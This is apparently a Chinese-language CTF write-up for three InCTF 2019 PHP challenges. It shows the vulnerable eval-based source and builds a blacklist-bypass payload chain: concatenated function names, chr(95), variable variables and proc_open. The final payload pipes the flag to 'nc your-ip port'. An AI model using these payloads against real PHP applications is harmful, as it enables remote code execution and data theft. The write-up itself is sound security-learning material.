Lamber's Blog

InCTF 2019 - (PHP + 1, PHP + 1.5 and PHP + 2.5)三道题的复现

字数统计: 2k阅读时长: 9 min
2021/08/26

题目描述

这篇writeup是关于这次比赛 PHP+1, PHP+1.5PHP+2.5这三道代码审计题目的。我们可以用同一个payload来解决这三道题目。这三道题的考点是全部相同的: Bypass the WAF and get a shell

题目分析

首先看第一道题(PHP+1),打开题目链接就能直接获取到题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
// PHP+1
$input = $_GET['input'];

function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}

$thisfille = $_GET['thisfile'];

if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}

highlight_file(__FILE__);
?>

上面的代码简单来说就是,我们需要传入两个参数:inputthisfile
对于参数thisfile我们可以给它传入一个目录路径来绕过is_filefile_existes这两个函数的检测。
绕过这两个函数的检测之后,接下来我们要想办法绕过check函数,这个函数将获取所有PHP的系统内置函数,并检查我们的输入是否含有这些系统内置函数。如果检测到输入了系统内置函数,那么就会被check。

下一道题(PHP+1.5),同样直接打开题目链接就能获取到题目源码,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
// php+1.5
$input = $_GET['input'];

function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if (preg_match("/$blacklist/i", $input)) {
echo "Do you really you need that?" . "<br>";
return true;
}

unset($blacklist);
return false;
}

$thisfille = $_GET['thisfile'];

if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}

highlight_file(__FILE__);
?>

这道题和之前那道题的不同点在于,我们的输入会再被参数blacklist过滤一遍。所以在上一道题甚至可以用eval去执行一些代码。因为eval并不是一个函数,详情见PHP手册英文版(中文版翻译有误差)。PHP手册中写到eval是一个language construct。进一步查询可以知道,在PHP中有很多words都是language construct

最后再来观察第三道题(PHP+2.5),源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
//PHP+2.5
$input = $_GET['input'];

function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if (preg_match("/$blacklist/i", $input)) {
echo "Do you really you need that?" . "<br>";
return true;
}

unset($blacklist);
if (strlen($input) > 100) { #That is random no. I took ;)
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}

$thisfille = $_GET['thisfile'];

if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}

highlight_file(__FILE__);
?>

PHP+2.5与上面两道相比,它的限制条件更加苛刻,要求参数input的长度小于100字符

构造Payload一穿三

第一步是想办法执行phpinfo(),然后在phpinfo中查找disable_functions。想办法找到可以利用的函数去getshell。仔细查找之后,发现.$不在$blacklist里面。这两个字符将会有助于我们绕过preg_match的过滤。
我们可以利用PHP字符串拼接的方式去构造出phpinfo,payload如下

1
$a=p.h.p.i.n.f.o;$a();

虽然这种拼接方式,php可能会报一些警告,但是并不会报错。是能够正常执行的。

我们利用拼接好的payload去尝试读取phpinfo。成功读到phpinfo。disable_functions如下

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir	

仔细观察,发现proc_open函数并没有被ban掉。这也是一穿三的关键所在。查看proc_open的函数手册,我们发现这个函数需要传入三个参数:我们想要执行的命令和两个数组。第一个数组是一个文件描述符的数组。就像下面一样

1
2
3
4
5
array(
array('pipe' => 'r'),
array('pipe' => 'w'),
array('pipe' => 'w')
);

而在利用它来直接构造payload的时候发现,如果直接将其加入payload,会造成payload超出限制长度的问题。这时候可以巧妙的利用$_GET请求来发送数组。本地测试如下

1
payload = " arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w "

为了调用proc_open,我们可以再次使用PHP字符串拼接的方式。但是这时候遇到一个问题,我们发现下划线居然被过滤了,简直丧心病狂。最后可以拼接出一个chr函数。利用ascii编码来绕过下划线过滤

1
$b=ch.r;$u=$b(95);

然后将构造好的下划线拼到proc_open

1
$e=pr.oc.$u.op.en;

接下来我们需要想办法构造一个GET传参,以获取传入的描述数组。可以利用PHP的可变变量去构造,先构造一个_GET,然后再$$_GET,即可。

1
$k=$u.G.E.T;$g=$$k;

现在,一切都准备好了。再来回顾一下,proc_open需要三个参数(要执行的命令, 一个索引数组, 命令的初始工作目录)
我们可以使用currentnext这两个函数去构造payload。但是这时需要注意的一个问题是。URL上的第一个变量一定要是我们要执行的命令,第二个变量是描述数组

我们可以利用以上条件,将payload构造成大概长这个样子

1
http://challenge-address/?p=command&arr[][]=descriptor-array&input=payload&thisfile=/var/

但是有个问题,我们不知道应该怎么去查询flag文件的位置。这时可以使用glob函数去寻找文件

1
2
eval('echo im'.'plode("a",gl'.'ob("*"));');&thisfile=/var/
// 这里有个取巧的地方是,我们只在第一道题查询了flag文件的位置(只有第一道题能够使用eval)。然后在后面两道题目中我们猜测flag的位置是固定不变的。事实证明,果然如此。

我们准备读取/flag文件,但是发现权限不够。这时候发现同目录下面还有一个/readFlag的可执行文件。利用这个可执行文件,顺利拿到flag。

关键部分payload构造如下

1
2
3
4
5
6
7
8
9
$b=ch.r;
$u=$b(95);
$k=$u.G.E.T;
$c=cur.rent;
$n=ne.xt;
$g=$$k;
$e=pr.oc.$u.op.en;
$e($c($g),$n($g),$j);
// proc_open(current($$_GET),next($$_GET),$j);

完整payload如下(input最终长度为97个字符)
http://xxx.xxx.xx/?p=/readFlag /flag | nc your-ip port&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$b=ch.r;$u=$b(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pr.oc.$u.op.en;$e($c($g),$n($g),$j);$thisfile=/var/

CATALOG
  1. 1. 题目描述
  2. 2. 题目分析
  3. 3. 构造Payload一穿三